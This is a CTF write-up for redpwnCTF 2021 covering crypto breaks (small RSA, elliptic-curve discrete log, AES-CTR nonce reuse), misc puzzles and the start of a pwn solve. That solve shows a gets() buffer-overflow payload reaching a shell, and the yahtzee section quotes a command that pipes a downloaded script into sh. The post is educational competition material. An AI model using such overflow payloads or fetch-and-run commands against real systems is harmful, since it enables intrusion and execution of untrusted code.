LoginSignup
1
0

More than 1 year has passed since last update.

redpwnCTF 2021 writeup (English version)

Posted at

日本語版: redpwnCTF 2021 writeup - Qiita

About

I participated in redpwnCTF 2021 (July 10, 2021 04:00 ~ July 13, 2021 04:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 2170 points and ranked 66th among 1418 teams which earned positive points.

The list of challenges I solved is:

Challenge Category Value Time (JST: UTC+9)
printf-please pwn 107 2021/07/10 04:12:49
the-substitution-game misc 145 2021/07/10 05:24:00
compliant-lattice-feline misc 102 2021/07/10 05:35:13
pastebin-1 web 103 2021/07/10 05:44:25
orm-bad web 102 2021/07/10 05:49:23
secure web 104 2021/07/10 05:59:54
inspect-me web 101 2021/07/10 06:01:51
beginner-generic-pwn-number-0 pwn 105 2021/07/10 06:10:32
ret2generic-flag-reader pwn 105 2021/07/10 06:18:53
ret2the-unknown pwn 108 2021/07/10 07:43:35
scissor crypto 102 2021/07/10 07:52:00
baby crypto 102 2021/07/10 07:58:24
round-the-bases crypto 107 2021/07/10 08:07:05
wstrings rev 102 2021/07/10 09:10:02
sanity-check misc 1 2021/07/10 09:20:13
yahtzee crypto 128 2021/07/10 13:03:03
discord misc 1 2021/07/10 13:20:41
bread-making rev 108 2021/07/10 22:46:01
annaBEL-lee misc 121 2021/07/11 10:55:17
notes web 196 2021/07/11 23:02:58
blecc crypto 119 2021/07/12 19:07:50
survey misc 1 2021/07/12 20:17:12

Score over Time

How to create the list of challenges solved

The score server used in this competition shows the time on which the challenges are solved
only roughly like "3 hours ago" and "1 day ago".
(FYI it says "Powered by rCTF")
After some investigation, I found that the exact solve times via these steps:

  1. Open Profile of the team to know the solve times
  2. Open the Developer Tool and see Network
  3. Find the ID in the URL or me, and see Response
  4. If it is JSON, it contains the information about challenges solved by the team
  5. The solve time can be determined by passing the values of createdAt to the constructor of Date object in JavaScript

I created a program to create a list of challenges solved from the JSON data.

The program to create a list of challenges solved
solved_decoder.html
<!DOCTYPE html><html><head><title>decoder</title><script>
function getDate(date) {
    const y = ("0000" + date.getFullYear()).substr(-4);
    const m = ("00" + (date.getMonth() + 1)).substr(-2);
    const d = ("00" + date.getDate()).substr(-2);
    return y + "/" + m + "/" + d;
}
function getTime(date) {
    const h = ("00" + date.getHours()).substr(-2);
    const m = ("00" + date.getMinutes()).substr(-2);
    const s = ("00" + date.getSeconds()).substr(-2);
    return h + ":" + m + ":" + s;
}
function convert() {
    const input_data = JSON.parse(document.getElementById("json_input").value);
    const solved_list = input_data.data.solves;
    let md_out = "|Challenge|Category|Value|Time|\n|---|---|--:|---|\n";
    let gp_out = "";
    let score = 0;
    for (let i = solved_list.length - 1; i >= 0; i--) {
        const time = new Date(solved_list[i].createdAt);
        const time_prev = new Date(solved_list[i].createdAt - 1000);
        const time_md = getDate(time) + " " + getTime(time);
        const time_gp = getDate(time) + "_" + getTime(time);
        const time_gp_prev = getDate(time_prev) + "_" + getTime(time_prev);
        const name = solved_list[i].name, category = solved_list[i].category, value = solved_list[i].points;
        md_out += "|" + name + "|" + category + "|" + value + "|" + time_md + "|\n";
        gp_out += time_gp_prev + "\t" + score + "\n" + time_gp + "\t" + (score + value) + "\n";
        score += value;
    }
    document.getElementById("markdown_output").value = md_out;
    document.getElementById("gnuplot_output").value = gp_out;
}
</script></head><body>
<p>Input JSON here</p>
<p><textarea id="json_input" rows="10" cols="100"></textarea></p>
<p><input type="button" value="convert" onclick="convert();"></p>
<p>Output (Markdown)</p>
<p><textarea id="markdown_output" rows="10" cols="100"></textarea></p>
<p>Output (for gnuplot)</p>
<p><textarea id="gnuplot_output" rows="10" cols="100"></textarea></p>
</body></html>

Challenges I solved

crypto

scissor

This challenge description is given:

I was given this string and told something about scissors.

egddagzp_ftue_rxms_iuft_rxms_radymf

I applied ROT13 on CyberChef and changed Amount one-by-one.
As a result, it gave me a string surround_this_flag_with_flag_format with Amount = 14.
I obtained the flag by adding flag{ and } to this string.

flag{surround_this_flag_with_flag_format}

baby

A challenge description

I want to do an RSA!

and this file was provided:

output.txt
n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790

Factorizing n via Wolfram Alpha resulted in 12546190522253739887 * 18207136478875858439.
I decrypted RSA encryption using these values and information from RSA暗号 - Wikipedia.

n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

phi = (12546190522253739887 - 1) * (18207136478875858439 - 1)
d, _ = kago(e, phi)

res = pow(c, d, n)

print("d = " + str(d))
print("res = " + hex(res))
d = 57678303879838009672243096264323227345
res = 0x666c61677b363861623832646633347d

I obtained the flag by applying From Hex on CyberChef to the value of res (without 0x).

flag{68ab82df34}

round-the-bases

A string data (about 8KB) was provided.
I obtained the flag by performing the following operations on CyberChef.

  1. From Base85
  2. From Base64
  3. From Hex
  4. From Hex
  5. Find / Replace (Find: [T2] (REGEX), Replace: (an empty string))
  6. Substitute (Plaintext: HI, Ciphertext: 01)
  7. From Binary
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}

blecc

This file was provided:

blecc.txt
p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.

Firstly I googled "(p, a, b, G, Q)" (with quotation marks). It gave me:
Elliptic Curve Cryptosystems
This suggested me that the variables should be related to Elliptic Curve.

Seeing this, I googled "Elliptic Curves writeup". It gave me:
ctf-writeups/README.md at master · diogoaj/ctf-writeups
This page explains how to solve a problem to calculate n from given P, n*P, and information about the Elliptic Curve.
This suggested me that I should calculate d such that Q = d*G for this challenge like this problem.

This page was useful to know how to specify Elliptic Curve in Sage:
Elliptic curve constructor — Sage 9.3 Reference Manual: Elliptic curves
Also, we can run Sage code online here:
Sage Cell Server

Moreover, I found this by googling "elliptic curve discrete log writeup":
Th3g3ntl3man-CTF-Writeups/ECC2.md at master · hgarrereyn/Th3g3ntl3man-CTF-Writeups
According to this page, d should be obtained by:

  1. Calculate the order of the Elliptic Curve and factorize that.
  2. Calculate d' such that (t*Q) = d'*(t*G) for each t, which is the order divided by each prime factors.
  3. Calculate the number whose remainder is d' when divided by each prime factors via Chinese Remainder Theorem.

Firstly, I obtained the order of the Elliptic Curve and factorized that via Sage like this:

F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())

The result is:

2 * 5 * 11 * 22303 * 36209 * 196539307

Then, I calculated each d' via Sage like this:

F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())

G = E.point((15579091807671783999, 4313814846862507155))
Q = E.point((8859996588597792495, 2628834476186361781))

primes = [2, 5, 11, 22303, 36209, 196539307]
for fac in primes:
    t = int(G.order()) // int(fac)
    dlog = discrete_log(t*Q,t*G,operation="+")
    print("(" + str(dlog) + ", " + str(fac) + "),")

/ is used for calculating t in the page, but it gave me error, so I used //.
The result is:

(1, 2),
(1, 5),
(3, 11),
(2108, 22303),
(7789, 36209),
(125193423, 196539307),

After that, I calculated d using them.

A program to calculate d
solve.py
import sys

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
    p, q = kago(m1, m2)
    return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)

# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
    b = 0
    m = 1
    for bb, mm in l:
        b = chuzyo(b, m, bb, mm)
        m *= mm
    return b

data = [(1, 2), (1, 5), (3, 11), (2108, 22303), (7789, 36209), (125193423, 196539307)]

num = chuzyo2(data)
print(hex(num))

result = ""
while num > 0:
    result = chr(num & 0xff) + result
    num >>= 8

print(result)

The result is:

0x6d316e315f336363
m1n1_3cc

Finally, I obtained the flag by adding flag{ and } to the resulted string.

flag{m1n1_3cc}

yahtzee

Information to connect to a TCP server and the server's program server.py were provided.
The program repeatedly outputs a cyphertext after reading a line that is not quit (case-insensitive).
The cyphertexts are generated in this way:

  1. Choose a random line from quotes.txt and insert the flag at random place.
  2. Choose nonce from a random number (sum of two random integers from 1 to 6) and encrypt the text using AES.MODE_CTR with fixed key.

Referring this page:
共通鍵暗号の暗号モード CTRについて - Qiita
I found that MODE_CTR is an encrypion method that outputs exclusive-or of the Nonce plus Counter encrypted and the plaintext.
It can be seen as a stream of data determined from nonce exclusive-ored to the plaintext.
There are only 11 candidates of nonce (2 to 12) and only 25 candidates of the insertion target,
so there should be cyphertexts created from the same nonce and target after fetching many cyphertexts.

Connecting to the server via Tera Term, it showed:

proof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
solution:

Downloading https://pwn.red/pow and checking that, it looked like a script to construct a URL and download from that.
Reading the script, I decided to download
https://github.com/redpwn/pow/releases/download/v0.0.4/redpwnpow-windows-amd64.exe.
It gave me a HTML about redirection when I used curl for downloading,
but it gave me an executable binary when I downloaded it via Firefox.

After that, I executed this command, constructed from the file and the latter part of what the server sent:

redpwnpow-windows-amd64.exe s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==

It printed:

s.czFf1enp5OTtoFwopJ7/0uuCxdxqBoCz/vpGR6PXCbP7Q798v+uFr1EsC+LpqoLCtfCAnrhsryoW9G9F4XhH7uPDY3EIR6enn7xIRQY64wkeOaKJL7Az3lbyvt531mUtU8LDl5scbUaxk7HP20iEP6xNuCm9yYX7n5A7dmPA4HjOqh9m+OnPlpf9Op9QVrbilAxKUpARIlDP8dT5+ZtDcg==

It seemed the given program starts on the server after I send this output to the server.

Considering this, I created a program to correct the cyphertexts.

The program to correct the cyphertexts.
get-samples.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"mc.ax", PeerPort=>31076, Proto=>"tcp");

die "socket error $!" unless $sock;

my $q = <$sock>;
unless ($q =~ /sh -s (.*)$/) { die "?\n"; }
open(PROC, "redpwnpow-windows-amd64.exe $1 |") or die "proc error\n";
my $res = <PROC>;
close(PROC);

print $sock $res;
print $sock "y\n";

for (my $i = 0; $i < 1000; $i++) {
    for (;;) {
        my $res = <$sock>;
        unless ($res) { last; }
        if ($res =~ /Ciphertext: (.*)$/) {
            print "$1\n";
            print $sock "y\n";
        }
    }
}

close($sock);

I configured to correct 1000 ciphertexts, but it corrected only 638.
Sorting the corrected ciphertexts and removing duplicates, it contained a part:

0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b84bc0c7378ea98d9d4f1842ec37bb760ffe09930c01bbdb70e86851724ecd46b59ca96ad7f56318d1b62349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86b50e7d67bfd0f2ece5d336fd68a435e58cbd5b9f20bdf00897851427cac704629c9bb0690361800962349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4

These cyphertexts share the first part, so it should be created from the same nonce and insertion target.
Looking closely, a part of two cyphertexts among the three is:

c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86

While the part of the other one is:

d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90

Therefore the former should be the original insertion target and the latter should be the encrypted flag.
The cyphertexts are plaintexts exclusive-ored with the same key data,
so the key will be canceled and exclusive-or of the plaintexts will appear by exclusive-oring the cyphertexts.
Moreover, the first part of the flag should be flag{,
so exclusive-oring this to the right position will result in the other plaintext.
Trying this, exclusive-oring flag{ to the beginning resulted in to be and it looked reasonable.

Exclusive-oring the obtained key data b0 38 7d 27 0d to the same position of other cyphertexts,
I found the result ah{0h is obtained from the cyphertext:

0ca3e4a5408d8883c70eb2c059e9bafc5eadaa8d0dc80fffac6ea0892ec20e7588d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148

This looks like a part of the flag and off by two characters from the flag initially discovered.
Using this, the entire flag should be obtained in this way:

  1. Obtain a part of the key by exclusive-oring the newly obtained two characters of the flag to the corresponding position of the ciphertext for the part beginning from flag{.
  2. Obtain a part of the flag by exclusive-oring the newly obtained part of the key to the corresponding position of the ciphertext for the part beginning from ag{0h.
  3. Repeat 1 and 2.

Actually The flag is obtained via this program:

A program to obtain the flag
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $data1 = "d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148";
my $data2 = "d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4";

my $d1len = length($data1);
my $d2len = length($data2);

my $decoded = "fl";

for (my $i = 0; $i * 2 + 4 <= $d1len && $i * 2 + 4 <= $d2len; $i += 2) {
    my $c1 = ord(substr($decoded, length($decoded) - 2, 1));
    my $c2 = ord(substr($decoded, length($decoded) - 1, 1));
    my $k1 = hex(substr($data2, $i * 2, 2)) ^ $c1;
    my $k2 = hex(substr($data2, $i * 2 + 2, 2)) ^ $c2;
    my $p1 = hex(substr($data1, $i * 2, 2)) ^ $k1;
    my $p2 = hex(substr($data1, $i * 2 + 2, 2)) ^ $k2;
    $decoded .= chr($p1) . chr($p2);
}

print "$decoded\n";

flag{0h_W41t_ther3s_nO_3ntr0py}

misc

sanity-check

This challenge description was provided:

I get to write the sanity check challenge! Alright!

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

The flag was in the challenge description.

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

discord

This challenge description was provided:

Join the discord! I hear #rules is an incredibly engaging read.

The "discord" in the challenge description was a link and it redirected me to an invitation page of Discord when I accessed that.
I joined the server and checked the #rules channel as suggested, seeing the flag written in the top of the page.
Clicking the area, the flag is shown in copyable form.

flag{chall3n63_au7h0r5h1p_1nfl4710n}

survey

A link to a Google Forms page was provided.
The page was a questionnaire consists of 3 pages.
Answering the questionnaire and submitting the answer, a link was shown.
Accessing the link, the flag was shown.

flag{thank5_f0r_play1ng_r3dpwnctf_2021!_zc9e848yg2gdhwxz}

compliant-lattice-feline

This challenge description was provided:

get a flag!

nc mc.ax 31443

I launched Tera Term and entered this to "New Connection" dialog:

  • TCP/IP
  • Host: mc.ax
  • Service: Other
  • TCP port#: 31443

Then pressed the "OK" button to connect. The flag appeared as a result.

flag{n3tc4t_1s_a_pip3_t0_the_w0rld}

annaBEL-lee

Information to connect to a TCP server was provided.

I connected via Tera Term, but nothing seemed happening.
Connecting via TCP/IPテストツール,
some data consists of bytes with values 0x00 and 0x07 was slowly sent and the connection was closed.
Connecting several times, I found that the grouping of the data changed but the contents of data was the same except for the beginning.

I looked closely at the data with the groups concatenated and expressing 0x00 as 0 and 0x07 as 7.
I found that there are one or three consecutive 0s and 7s except for the beginning.
Also, from following hints added to the challenge description:

  • It may be helpful to turning the sound on
  • There will be more chance to come up with a good idea after slowing it down

I came up with a possibility that the Morse code is used.

CyberChef has a function "From Morse Code".
I obtained the flag by doing pre-processing, From Morse Code, and post-processing, considering 0 as silent time and 7 as sounding time.

flag{d1ng-d0n9-g0es-th3-anna-b3l}

the-substitution-game

Information to connect to a TCP server and the server's program chall.py were provided.

Connecting to the server via Tera Term, a game that requires entering replacement rules
that convert the input strings to the expected output strings.
The first rule that can be applied to the current string is applied and it stops when no rule can be applied.
It looks like Markov Algorithm Online without terminating rules.
I obtained the flag by solving 6 levels.

Simulator

The server shows the output strings after submitting wrong answer, but it is hard to tell why it failed.
To overcome this, I created a simulator that output the results of replacements step-by-step.

The simulator
sim.html
<!DOCTYPE html>
<html>
<head><title>sim</title>
<script>
function run() {
    const rules1 = document.getElementById("rules").value.replaceAll("\r\n", "\n").replaceAll("\r", "\n").split("\n");
    const rules = [];
    for (let i = 0; i < rules1.length; i++) {
        const arr = rules1[i].split(" => ");
        if (arr.length == 2) rules.push(arr);
    }
    let text = document.getElementById("text").value;
    let res = text + "\n";
    for (let i = 0; i < 10000; i++) {
        let found = false;
        for (let j = 0; j < rules.length; j++) {
            if (text.indexOf(rules[j][0]) >= 0) {
                text = text.replace(rules[j][0], rules[j][1]);
                found = true;
                break;
            }
        }
        if (found) {
            res += text + "\n";
        } else {
            break;
        }
    }
    document.getElementById("result").value = res;
}
</script>
</head>
<body>
<p>text:
<input id="text" value="" size="100"><br>
rules:<br>
<textarea id="rules" rows="10" cols="100"></textarea><br>
<input type="button" onclick="run();" value="run"><br>
result:<br>
<textarea id="result" rows="10" cols="100"></textarea>
</p>
</body></html>

Level 1

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: 000000000000000initial0000000000
Target string: 000000000000000target0000000000

Initial string: 0000initial000000
Target string: 0000target000000

Initial string: 000000000000initial00000000000000000000
Target string: 000000000000target00000000000000000000

Initial string: 000000000initial
Target string: 000000000target

Initial string: 00000000initial0000000
Target string: 00000000target0000000

Initial string: 00000000000000000initial000000
Target string: 00000000000000000target000000

Initial string: 0000000000000000000initial00000
Target string: 0000000000000000000target00000

Initial string: 0000000000000initial000
Target string: 0000000000000target000

Initial string: 0000initial0000000000000000
Target string: 0000target0000000000000000

Initial string: 000000initial0
Target string: 000000target0
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 5 max:

Replace initial in the input to target.

initial => target

Level 2

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ginkoidginkoidhellohellohelloginkoidhellohellohellohelloginkoidginkoidginkoidhelloginkoidginkoidginkoidginkoidginkoid
Target string: ginkyginkygoodbyegoodbyegoodbyeginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyeginkyginkyginkyginkyginky

Initial string: ginkoidginkoidhelloginkoidginkoidginkoidginkoidhelloginkoidhelloginkoidhello
Target string: ginkyginkygoodbyeginkyginkyginkyginkygoodbyeginkygoodbyeginkygoodbye

Initial string: helloginkoidhellohellohelloginkoidginkoidhellohelloginkoidhelloginkoidhelloginkoidginkoidginkoidginkoidhello
Target string: goodbyeginkygoodbyegoodbyegoodbyeginkyginkygoodbyegoodbyeginkygoodbyeginkygoodbyeginkyginkyginkyginkygoodbye

Initial string: helloginkoidhelloginkoidginkoidginkoidhelloginkoidhellohellohellohellohelloginkoidginkoidhello
Target string: goodbyeginkygoodbyeginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyegoodbyegoodbyeginkyginkygoodbye

Initial string: helloginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoidhelloginkoidhellohellohelloginkoidhelloginkoid
Target string: goodbyeginkyginkygoodbyegoodbyeginkyginkyginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkygoodbyeginky

Initial string: hellohelloginkoidginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidhelloginkoidhellohello
Target string: goodbyegoodbyeginkyginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbye

Initial string: hellohelloginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidginkoidginkoidginkoidginkoidginkoid
Target string: goodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkyginkyginkyginkyginkyginky

Initial string: helloginkoidginkoidhellohellohellohelloginkoidginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkyginkyginkyginkyginky

Initial string: hellohellohellohellohelloginkoidhelloginkoidhelloginkoidhelloginkoidhelloginkoidginkoidginkoidhello
Target string: goodbyegoodbyegoodbyegoodbyegoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkyginkyginkygoodbye

Initial string: helloginkoidginkoidhelloginkoidginkoidhelloginkoidhelloginkoidginkoidhelloginkoidhellohellohelloginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyeginkyginkygoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkyginkyginky
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

Replace hello in the input to goodbye and ginkoid to ginky.

hello => goodbye
ginkoid => ginky

Level 3

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

Some a are inputted and it should be converted to one a.
It can be done by repeatedly substitute two as into one.

aa => a

Level 4

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

Some gs are inputted and it should be converted to one ginkoid.
When trying to replace from g directly, it fails because ginkoid also contains g.
To overcome this, do the work via a character that is not in ginkoid (I used x here).
Firstly, replace not g but gg to x.
Then, fold multiple xs into one and replace it to ginkoid.
Finally, remove the last g if it exists.

gg => x
xx => x
x => ginkoid
idg => id

When entering the rules into the server, entering y (there are more rules) or n (end of rules) after each rules is required.
Entering many rules one-by-one takes much cost, so you should add y between each rules (for example, via the replacement function in text editors or CyberChef) and paste all of them at once.

Level 5

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ^0101110110111010101010101100100000011110101000111110001010111100000010011010101010101110110111010$
Target string: palindrome

Initial string: ^000100000100110001110011000111011110101101011110111000110011100011001000001000$
Target string: palindrome

Initial string: ^1100001011110101110111000111110101111010111110001110111010111101000011$
Target string: palindrome

Initial string: ^1111010101010001011100101010001011110101111100101011001000010111011100011110001010011101$
Target string: not_palindrome

Initial string: ^1100001111010011011010101101011111110100100001011010010110100001010110101$
Target string: not_palindrome

Initial string: ^1111101000110001001001011011011110010111110100111101101101001001000110001011111$
Target string: palindrome

Initial string: ^1011001101111000110110100011101101000110110100000001010000010001111000001010001$
Target string: not_palindrome

Initial string: ^11010001001100010111011010111001111111000011000000000011000011111110011101011011101000110010001011$
Target string: palindrome

Initial string: ^1000010101011110110001001111101100010111000011010100111001011000010$
Target string: not_palindrome

Initial string: ^0011000011010111100011110000110100011001111011101111001100010110000111100011110101100001100$
Target string: palindrome
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 100 max:

It looks required to judge if the given 0/1 string is a palindrome.

I googled "チューリングマシン 回文" and found:
Turing 機械のプログラミング
So I decided to take the program in this page.
Fortunately, the input strings in the level has special marks at the beginning and end like the tape used in the page.

I expressed the Turing machine as replacement rules like this:

  • Express the place of the head of the Turing machine as [<state>]
  • Firstly replace the head mark to [<initial state>]<another head mark>
  • Express rules that don't move the head as [<state>]<mark> => [<next status>]<mark to write>
  • Express rules that move the head to right as [<state>]<mark> => <mark to write>[<next status>]
  • Express rules that move the head to left as <each characters>[<state>]<mark> => [<next status>]<each characters><mark to write>

Finally, when it reaches to accept or reject, replace the head to the required string and erase the extra characters before and after the string.

My answer (46-line replacement rules)
^ => [start]#
[start]# => #[l2]
[l2]0 => #[l20]
[l2]1 => #[l21]
[l2]$ => [a]$
[l20]0 => 0[l20]
[l20]1 => 1[l20]
0[l20]$ => [l30]0$
1[l20]$ => [l30]1$
#[l20]$ => [l30]#$
0[l30]0 => [l4]0$
1[l30]0 => [l4]1$
#[l30]0 => [l4]#$
[l30]1 => [r]1
[l30]# => [a]#
0[l4]0 => [l4]00
1[l4]0 => [l4]10
#[l4]0 => [l4]#0
0[l4]1 => [l4]01
1[l4]1 => [l4]11
#[l4]1 => [l4]#1
[l4]# => #[l2]
[l21]0 => 0[l21]
[l21]1 => 1[l21]
0[l21]$ => [l31]0$
1[l21]$ => [l31]1$
#[l21]$ => [l31]#$
[l31]0 => [r]0
0[l31]1 => [l4]0$
1[l31]1 => [l4]1$
#[l31]1 => [l4]#$
[l31]# => [a]#
[a] => palindrome
[r] => not_palindrome
e0 => e
e1 => e
e# => e
e$ => e
0n => n
1n => n
#n => n
$n => n
0p => p
1p => p
#p => p
$p => p

Level 6

Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ^10111111+110001=100100101$
Target string: incorrect

Initial string: ^111000+10011=10100101$
Target string: incorrect

Initial string: ^1101000+11111110=101100110$
Target string: correct

Initial string: ^0+1101001=1101001$
Target string: correct

Initial string: ^100010000011+11000110=101001001$
Target string: incorrect

Initial string: ^10101011+1010111=110001$
Target string: incorrect

Initial string: ^11111011+11011101=10001100110$
Target string: incorrect

Initial string: ^10001010+1101111=101$
Target string: incorrect

Initial string: ^1011001001+11111101=111000110$
Target string: incorrect

Initial string: ^10111000+100100=11011100$
Target string: correct
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 300 max:

A summation expression of binary numbers is given and it seems expected to judge if they are correct or not.
My implementation consists of these three parts:

  1. Pre-process (zero suppress the input numbers and add a delimiter)
  2. Addition
  3. Comparison of the result

Using the technique for Turing machine that sends data to right with holding the status in the head,
I implemented this with keeping in mind that I'm working with not a Turing machine but string replacements.
For example, there are no need to move the head back to left one-by-one.

My answer (50-line replacement rules)
= => :-
^00 => ^0
+00 => +0
-00 => -0
^01 => ^1
+01 => +1
-01 => -1
0o:C => :C0
1o:C => :C1
0z:C => :1
1z:C => :C0
0o: => :1
1o: => :C0
0z: => :0
1z: => :1
o1 => 1o
o0 => 0o
z1 => 1z
z0 => 0z
^+:C => ^1
^+: => ^
+z:C => +:1
+z: => +:0
+o:C => +:C0
+o: => +:1
1+ => +o
0+ => +z
^+ => ^+z
0i => i
1i => i
-i => i
^i => i
t0 => t
t1 => t
t$ => t
q0 => 0q
q1 => 1q
Q0 => 0Q
Q1 => 1Q
0q$ => $
1Q$ => $
0Q$ => incorrect
1q$ => incorrect
0-$ => incorrect
1-$ => incorrect
^-0 => incorrect
^-1 => incorrect
^-$ => correct
0- => -q
1- => -Q

flag

flag{wtf_tur1n9_c0mpl3t3}

pwn

beginner-generic-pwn-number-0

A C source code, an ELF file, and information to connect to a TCP server were provided.

Reading the source code, I found it reading data via gets function and
execute system("/bin/sh"); if the value of a variable is -1.
Disassembling the ELf file via objdump in TDM-GCC and checking, some part is:

  401299:   48 8d 45 d0             lea    -0x30(%rbp),%rax
  40129d:   48 89 c7                mov    %rax,%rdi
  4012a0:   e8 4b fe ff ff          callq  4010f0 <gets@plt>
  4012a5:   48 83 7d f8 ff          cmpq   $0xffffffffffffffff,-0x8(%rbp)
  4012aa:   75 0c                   jne    4012b8 <main+0xc2>
  4012ac:   48 8d 3d 35 0f 00 00    lea    0xf35(%rip),%rdi        # 4021e8 <_IO_stdin_used+0x1e8>
  4012b3:   e8 08 fe ff ff          callq  4010c0 <system@plt>
  4012b8:   b8 00 00 00 00          mov    $0x0,%eax

It can be said from this that it is 0x28 bytes from where the gets function stores the input to the variable checked.
Seeing this, I created this file via a binary editor:

00000000  66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66  |ffffffffffffffff|
